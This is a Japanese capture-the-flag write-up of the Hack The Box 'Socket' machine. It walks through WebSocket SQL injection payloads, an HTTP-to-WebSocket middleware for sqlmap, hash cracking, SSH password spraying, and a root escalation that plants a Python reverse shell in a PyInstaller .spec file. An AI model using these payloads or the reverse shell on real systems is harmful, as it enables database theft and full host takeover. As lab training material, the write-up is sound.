HTB: Socket (Medium) Writeup

ippsecのビデオでSQL Injectionの手法が便利だと思いましたので、このWriteupを作りました。忘備録な内容ですが、役に立てればと思います。

https://www.youtube.com/watch?v=936WoTYYEnQ

## TL;DR
以下が学べます。
- WebSocketsのSQL Injection (DatabaseはSQLite) 
- Python - Reverse Engineering for pyinstaller-compiled binary 
- Pyinstaller misconfiguration 

## Initial Recon
まずはtmuxを立ち上げて、環境変数を設定し、nmapを実行しています。
```bash
tmux new -s Socket -e RHOST=10.129.241.206 -e LHOST=10.10.14.127
nmap -sC -sV -p- -oA nmap/init $RHOST
```
Port 80は、qreader.htbにリダイレクトされます。Port 5789は、WebSocketsのようです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/9c195522-92bf-d371-c6f8-78f7f307e9f7.png)

## HTTP (80) 
/etc/hostsにqreader.htbを設定して、アクセスしてみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/01336f0f-c0e5-e3d5-156a-c669404d69b8.png)
QRコードを読み込んで内容を解析したり、テキスト文を埋め込んでQRコードを作成したりするようなサイトのようです。色々試しましたが、何か特別出来そうな箇所は見当たりません。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/152b6afc-a5f2-93fb-123c-4ee77df459fe.png)
上記のように、このサイトの最後にダウンロード出来るリンクがあります。このサイトのロジックを解析できるartifactが取得出来そうです。ダウンロードします。

## QReader binary
解凍して、アプリを実行します。
```bash
unzip QReader_lin_v0.0.2.zip
cd app 
./qreader 
```
以下が実行結果となります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/72b11dd8-4d50-4f4e-c058-e5d6feffac2f.png)
おそらく、ウェブサイトと同じような機能を提供するのでしょう。
上記のアプリケーションの'About'をクリックし、'Version'か'Updates'を選択してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/1baca0dd-c2f0-af87-f117-f82db8ac7942.png)
コネクションエラーが発生しています。中身をテキストベースで見てみます。
```bash
strings ./qreader 
```
以下が実行結果の一部のメッセージです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/d305b44b-b884-19b6-8564-2738e64c1f0a.png)
PyInstallerでコンパイルされているようです。

ソースコードが見たいですね。ではそうしましょう。

## Pyinstaller Extractor - pyinstxtractor 
以下のツールで解析(というかファイルの抽出が)できそうです。

https://github.com/extremecoders-re/pyinstxtractor
```bash
python pyinstxtractor/pyinstxtractor.py download/lin/app/qreader
```
以下が実行結果となります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/42dd9511-3cb5-3728-cb8a-1f4b7b49f824.png)
以下が抽出されたファイルとなります。.pyc拡張子がついたファイルが抽出されています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/2013b6f1-12ac-cb56-d8a0-468d99cdef92.png)
.pycのファイルは、いくつかのツールでソースコードに変換することができます。ここでは、pycdcを利用します。

https://github.com/zrax/pycdc

```bash
pycdc qreader_extracted/qreader.pyc
```
以下が実行結果となります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/9cffbfc7-d6df-2f6d-b9c5-947adc5ddba6.png)
ソースコードを見てみると、以下が確認できるはずです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/b152cacf-db9b-3696-a705-db51cc653bda.png)
ws.qreader.htb:5789

ここにアクセスしていることが分かります。/etc/hostsにws.qreader.htbを付け加えると、このアプリケーションはエラーを出さなくなりました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/dcd35701-6473-800a-bf38-132063120eba.png)

ソースコードをChatGPTに聞いてみました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/9c73f40d-e359-ac93-b1d3-29a1bbd03171.png)
いまいちな回答ですが、injectionか何かは出来るのかもしれません。

どうするか。

## WebSockets (5789)
幾つか方法を考えると、以下になるように思います。
1. 直接サーバにアクセスするコードを書いて、成功・失敗を観察 (https://hyperbeast.es/socket-htb/) 
2. 上記に入力を受け付けるコードを追加して、成功・失敗を観察 (Official Writeup)
3. コードを書かず、websocatツールを利用して、成功・失敗を観察 (https://www.youtube.com/watch?v=936WoTYYEnQ)
4. HTTP通信からWebsocketsに変換するミドルウェアのコードを書いて、成功・失敗を観察
5. 上記ミドルウェアからsqlmapを実行し、実行結果を取得

今回は1,3,4,5を検討してみます。

## 1) シンプルなPythonでのWeb Socket SQL Injection検査
```python
import sys
from websocket import create_connection
import json

ws_host = 'ws://qreader.htb:5789'

VERSION = '0.0.2'
ws = create_connection(ws_host + '/version')

#ws.send(json.dumps({'version': VERSION}))
ws.send(json.dumps({'version': sys.argv[1]}))

result = ws.recv()
print(result)
ws.close()
```
以下を実行してみます。sqliteのSQLインジェクションについては、PortSwiggerサイト等を参照してください。https://portswigger.net/web-security/all-labs#sql-injection 
```bash
# データベースのバージョン
python ws_request_simple.py '0.0.2" union select sqlite_version(),2,3,4-- -'
# {"message": {"id": "3.37.2", "version": 2, "released_date": 3, "downloads": 4}}

# テーブル名
python ws_request_simple.py '0.0.2" UNION SELECT group_concat(tbl_name),2,3,4 FROM sqlite_master-- -'
# {"message": {"id": "sqlite_sequence,versions,users,info,reports,answers", "version": 2, "released_date": 3, "downloads": 4}}

# コラム名
python ws_request_simple.py '0.0.2" UNION SELECT sql,2,3,4 FROM sqlite_master where name="users"-- -'
# {"message": {"id": "CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password DATE, role TEXT)", "version": 2, "released_date": 3, "downloads": 4}}

# データの取得
python ws_request_simple.py '0.0.2" UNION SELECT group_concat(username || ":" || password || ","),2,3,4 FROM users-- -'
# {"message": {"id": "admin:0c090c365fa0559b151a43e0fea39710,", "version": 2, "released_date": 3, "downloads": 4}}
```
adminのパスワードハッシュ値が見つかりました。

## 2) Websocatを利用したSQL Injection検査
これはippsecのビデオを見てなるほどと思ったテクニックです。Python Codeもいいですが、websocatもよいなと思いました。以下のサイトから、Kaliターミナル用をダウンロードします。

https://github.com/vi/websocat
https://github.com/vi/websocat/releases/download/v1.11.0/websocat_max.x86_64-unknown-linux-musl

下記のコマンドを実行します。websocatでWebSockets通信を実行し、watchコマンドでリアルタイムでモニタリングします。inputからJSONデータを取得します。
```bash
touch input
watch './websocat ws://qreader.htb:5789/version < input'
```
ターミナルを半分に区切って、viエディターでinputファイルの内容を変更し、随時保存(:w!)します。(あっどのエディターでもいいですよ)
```bash
vi input
--
{"version":"0.0.2"}
```
そうすると自動的に、watchコマンドがアップデイトしてくれます。
```bash
Every 2.0s: ./websocat ws://qreader.htb:5789/version < input                                          kali: Fri Jul 21 15:52:45 2023

{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
```

あとは上記と同じようなSQL Injectionペイロードを記述していきます。

```bash
# データベースのバージョン
{"version": "0.0.2\" union select sqlite_version(),2,3,4-- -"}
# テーブル名
{"version":"0.0.2\" UNION SELECT group_concat(tbl_name),2,3,4 from sqlite_master-- -"}
# コラム名
{"version":"0.0.2\" UNION SELECT sql,2,3,4 from sqlite_master where name='users' -- -"}
# データの取得
{"version":"0.0.2\" UNION SELECT group_concat(username || ':' || password || ','),2,3,4 from users -- -"}                            
```
気付いておられる方が多いと思いますが、JSONファイルの整合性を取るため、実際のリクエストでは(")ではなく、(\\")を記述します。 

最後のペイロードでは、以下のデータを取得できます。
```bash
Every 2.0s: ./websocat ws://qreader.htb:5789/version < input                                          kali: Fri Jul 21 16:19:13 2023

{"message": {"id": "admin:0c090c365fa0559b151a43e0fea39710,", "version": 2, "released_date": 3, "downloads": 4}}
```
adminのパスワードハッシュ値が見つかりました。

## 3) HTTP to WebScokets MiddlewareとSQLMAPを利用したSQL Injection検査
以下のサイトが役に立ちそうです。

https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

そのまま使えそうですが、上記のws_request_simple.pyにもありますが、エスケープ記号が、(') ではなく、(")でSQL Injectionを実行しているので、JSON フォーマットの整合性を持たせるために、エスケープしたダブルクォーテーションマーク(\\")に変換させています。
```bash
{"version": "0.0.2' Union Select..."} このままだと動かない
{"version": "0.0.2\" Union Select..."} このように変換する

# ソースコード変更
message = unquote_plus(payload).replace("'",'\\"') 
data = '{"version":"%s"}' % message
```
全体のPython Codeは以下になります。

```python
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote_plus, urlparse
from websocket import create_connection

ws_server = "ws://qreader.htb:5789/version"

def send_ws(payload):
	ws = create_connection(ws_server)
	print (payload)

	# Original 
	#message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure

	# For HTB Socket 
	message = unquote_plus(payload).replace("'",'\\"') 
	
	data = '{"version":"%s"}' % message

	print (data)
	
	ws.send(data)
	
	resp = ws.recv()
	ws.close()
	
	if resp:
		return resp
	else:
		return ''


def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]

			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass
```
ミドルウェアを立ち上げます。
```bash
python ws_middle.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*
```
SQLMAPを実行します。
```bash
sqlmap -u "http://127.0.0.1:8081/version?version=0.0.2" --level 5 --risk 3 --batch --dbs --dump --flush-session
```
以下が実行結果となります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/c4007be4-abe9-4fa6-9885-eb9bfaa3aa06.png)
adminのパスワードハッシュ値が見つかりました。

## 追記4) HTTP to WebScokets MiddlewareとBurp
 1 から3の全てのソリューションはSQL Injectionの決め打ちだったので何で？と思われた方が多いはずです。実はもっとインタラクティブに検証を行い、そしてSQLMAPでも検証したいと考えました。実際まず、HTTP to WebScoketsの変換コードを作り、プロキシー化して、BURPでインタラクティブな検査を実施しました。

先のコードを実行します。
```bash
python ws_middle.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*
``` 
BURPを立ち上げます。InterceptをONにしておきます。

CURLコマンドで、HTTPリクエストを出してみます。
```bash
 curl 'http://127.0.0.1:8081/?id=1' --proxy 127.0.0.1:8080
```
BURPでインターセプト出来ました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/1a936826-ca20-41a3-7cad-3860ccbb74a2.png)
Repeaterへ送ります。
GETメッセージの後のパラメータを色々変化させて何か出来ないか探ります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/cd5cdc89-9b96-beb4-4560-77e4db4f4339.png)
こんな感じも試してみました。但し'Invalid version!'のレスポンスが返ってきました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/4d1b312b-1f70-9629-ec76-47c00bbc3d94.png)
SQL Injectionでは、こんな感じを試しています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/336809d4-1b29-a359-7af4-834644b8faad.png)
この後、SQLMAPで試そうとなりました。最終的に簡略化の為に、シンプルなPython Codeを書いて、SQL Injectionの実行という流れになるんだと思います。最初から脆弱性の決め打ちコードを書き始めるというのは神レベルかも。

## Hash値のクラック
以下のサイトを利用しています。

https://crackstation.net/

実行結果は以下になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/63199529-8c68-dbd2-05d1-9c6123fad1bc.png)
クラック出来ました。

## SSHによるアクセス - username-anarchy & crackmapexec ssh

SSH以外どこにもアクセスできる場所がないので、SSHの総当たり攻撃を実施します。まずユーザ名ですが、SQLMAPで、以下のユーザ名候補があるので、これを利用します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/b4b836b4-7fd1-fe72-70a3-f0bbe0ab5bc5.png)
ユーザ名の作成は、以下を実施します。
```bash
username-anarchy Thomas Keller

thomas
thomaskeller
thomas.keller
thomaske
thomkell
thomask
t.keller
tkeller
kthomas
k.thomas
kellert
keller
keller.t
keller.thomas
tk
```
あと、mike, json,adminを追加して、攻撃してみます。以下がコマンドと実行結果です。
```bash
crackmapexec ssh $RHOST -u usernames.txt -p 'denjanjade122566'

SSH         10.129.228.216  22     10.129.228.216   [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1
SSH         10.129.228.216  22     10.129.228.216   [-] thomas:denjanjade122566 Authentication failed.
SSH         10.129.228.216  22     10.129.228.216   [-] thomaskeller:denjanjade122566 Authentication failed.
SSH         10.129.228.216  22     10.129.228.216   [-] thomas.keller:denjanjade122566 Authentication failed.
SSH         10.129.228.216  22     10.129.228.216   [-] thomaske:denjanjade122566 Authentication failed.
SSH         10.129.228.216  22     10.129.228.216   [-] thomkell:denjanjade122566 Authentication failed.
SSH         10.129.228.216  22     10.129.228.216   [-] thomask:denjanjade122566 Authentication failed.
SSH         10.129.228.216  22     10.129.228.216   [-] t.keller:denjanjade122566 Authentication failed.
SSH         10.129.228.216  22     10.129.228.216   [+] tkeller:denjanjade122566
```
tkellerでアクセス可能というのが分かりました。SSHでログインします。
```bash
ssh tkeller@10.129.228.216
```
以下が実行結果です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/4db0be65-b4cd-67ef-e9d1-79212ec493e7.png)
アクセスできました。
## Privilege Escalation - sudo -l
以下を実行します。
```bash
>sudo -l
Matching Defaults entries for tkeller on socket:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tkeller may run the following commands on socket:
    (ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh

>ls -al /usr/local/sbin/build-installer.sh
-rwxr-xr-x 1 root root 1096 Feb 17 11:41 /usr/local/sbin/build-installer.sh
```
/usr/local/sbin/build-installer.shを全てのユーザがパスワードなしでルート権限で実行できるとあります。ファイルを見てみてみます
```bash
cat /usr/local/sbin/build-installer.sh

#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
  /usr/bin/echo "No enough arguments supplied"
  exit 1;
fi

action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')

if [[ -L $name ]];then
  /usr/bin/echo 'Symlinks are not allowed'
  exit 1;
fi

if [[ $action == 'build' ]]; then
  if [[ $ext == 'spec' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /home/svc/.local/bin/pyinstaller $name
    /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'make' ]]; then
  if [[ $ext == 'py' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
   /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'cleanup' ]]; then
  /usr/bin/rm -r ./build ./dist 2>/dev/null
  /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
  /usr/bin/rm /tmp/qreader* 2>/dev/null
else
  /usr/bin/echo 'Invalid action'
  exit 1;
fi
```
buildのアクション部分を見ると、.specの拡張子があるファイルをPyInstallerでコンパイルし、./distと./buildのファイルを/opt/sharedに移動されています。ルートのSSHファイルを移動させるのもいいですが、今回はそのままPython Codeを実行します。spec等の詳細情報は以下のサイトを利用してください。

https://pyinstaller.org/en/stable/spec-files.html#:~:text=The%20spec%20file%20tells%20PyInstaller,contents%20of%20the%20spec%20file 

The spec file tells PyInstaller how to process your script. It encodes the script names and most of the options you give to the pyinstaller command. The spec file is actually executable Python code. PyInstaller builds the app by executing the contents of the spec file.

細かいspecの仕様は無視して、Python Codeのリバースシェルをspecファイルに書き込み、上記のスクリプトを実行してみます。

## PyInstallerによるspecファイルのコンパイル && リバースシェル実行
Kaliのターミナルでnetcatで1234ポートをリスニングします。
```bash
nc -nlvp 1234
listening on [any] 1234 ...
```
SSHログインしたリモートホストから以下を実行します。リバースシェルは、以下のサイトで作成しました。

https://www.revshells.com/

```bash
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.32",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' > /dev/shm/root.spec

ls /dev/shm/root.spec
/dev/shm/root.spec

sudo /usr/local/sbin/build-installer.sh build /dev/shm/root.spec
86 INFO: PyInstaller: 5.6.2
86 INFO: Python: 3.10.6
89 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
92 INFO: UPX is not available.
```
Kaliのターミナルを見ると、接続しています。

```bash
connect to [10.10.14.32] from (UNKNOWN) [10.129.228.216] 49074
root@socket:/home/tkeller#
root@socket:/home/tkeller# id
id
uid=0(root) gid=0(root) groups=0(root)
``` 

## 最後に
WebScoketsでもSQL Injectionは可能ですので、Inputの検証やサニタイジングは必要です。

また、PyInstallerのビルドのスクリプトを作る時は、specファイルが書き込めるディレクトリを制限しておきましょう。まあ公開サーバにこんなスクリプトを置いておき、全ユーザが実行できる設定をしてる管理者が間違っていますが。。。

最後の方になって、実際こんな設定はありえなだろう/ちょっと違うのでは？と思わせるBOXでした。次に期待したいです。


ハッピーハッキング！